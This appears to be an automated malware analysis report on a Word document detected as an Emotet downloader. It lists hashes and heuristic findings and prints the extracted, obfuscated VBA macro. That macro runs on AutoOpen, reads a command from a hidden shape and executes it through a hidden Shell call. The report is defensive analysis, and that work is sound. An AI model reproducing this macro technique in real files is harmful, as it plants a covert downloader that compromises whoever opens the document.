Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c5917c57040b81f5…

MALICIOUS

Office (OLE)

81.9 KB Created: 2018-11-22 07:59:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: cd90c287a7ff444ec3bc073643404526 SHA-1: 9628c0ac7d9d4b9290b107bbac85e3f60ba76c50 SHA-256: c5917c57040b81f5ce771f792a66a5c7890d2991f7f4d5df6fedd58a90b28d96
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6826480-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826480-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2577 bytes
SHA-256: a327b9b137a46958c142197815520b6ac171708d9a74289e9a982e1a1106af89
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BNAkWQOiWdL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
     For EVrkJ = 303130592 To fWvovP
         Select Case zWnijjmq
         Case 46707312
            OwdIp = Rnd(uidEcM)
            abbpiXCj = OEjRva
            BWNOjV = Log(73063333)
      End Select
      IpDAKR = InhMDI / 285753697
   Next
Set EbwkYZ = Shapes("YLZTBUBVdPi")
   On Error Resume Next
     For CFzjccoqz = 14805102 To OUozip
         Select Case wapWXJ
         Case 168451944
            GHbkM = Rnd(GuGBWuQGc)
            hwXPYBiY = jNlJjiqHZ
            hONqSHZ = Log(220306440)
      End Select
      MuAqzAobl = dFdCm / 206570986
   Next
   On Error Resume Next
     For fBilvqj = 337741040 To hchMap
         Select Case UqOtuYWKM
         Case 33270593
            uWSlhYla = Rnd(RiJUrLTEM)
            QGSOkMM = aHfUZqL
            cuwuJbAu = Log(193525531)
      End Select
      jtBjFRwno = cHhYUzK / 125154070
   Next
FGJpTk = "" + TJDiY + PpGXlu + EbwkYZ.TextFrame.TextRange.Text + ZrBOWm + MUMXaMQ
   On Error Resume Next
     For ZpzQdESu = 71090541 To mUYpU
         Select Case uMRdYQv
         Case 187620102
            wmDQGjQmE = Rnd(NaIPAr)
            ZVDAjzu = WvjwHIu
            UhSOiDW = Log(148582257)
      End Select
      UYHAlzRm = qZYuQmJpj / 268667356
   Next
   On Error Resume Next
     For qUjpqwIPQ = 17149760 To FBQuZoL
         Select Case fnijADztF
         Case 320800280
            TjaVrS = Rnd(iZpmiw)
            mwTKwCQA = jLIoflt
            CSEin = Log(207821632)
      End Select
      ZcNFmKsE = zNEdiJtv / 126952895
   Next
JidjwjkjQ = Interaction.Shell(CVar("") + wTmlTpKO + GYoRjPWt + FGJpTk + PapWq + IGZIopC + qzpEkFA, vbHide)
   On Error Resume Next
     For UqHaC = 137969965 To izOPlbBLU
         Select Case omXNXwnwP
         Case 65001312
            ISaRUfSL = Rnd(wXjXpNKb)
            EIHYzXfZ = wrUdnLHai
            zRvjzjtR = Log(19471286)
      End Select
      YJoLP = BhjUCm / 311393263
   Next
   On Error Resume Next
     For zCbZrQvJ = 148318506 To iQLGHOp
         Select Case ZkSuCLc
         Case 217266423
            ZznHMmaP = Rnd(iAztqBz)
            jPzSZQvl = jOEzQ
            KlWLiRVdl = Log(287474834)
      End Select
      joZfuRvV = MhNzhsV / 70398573
   Next
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.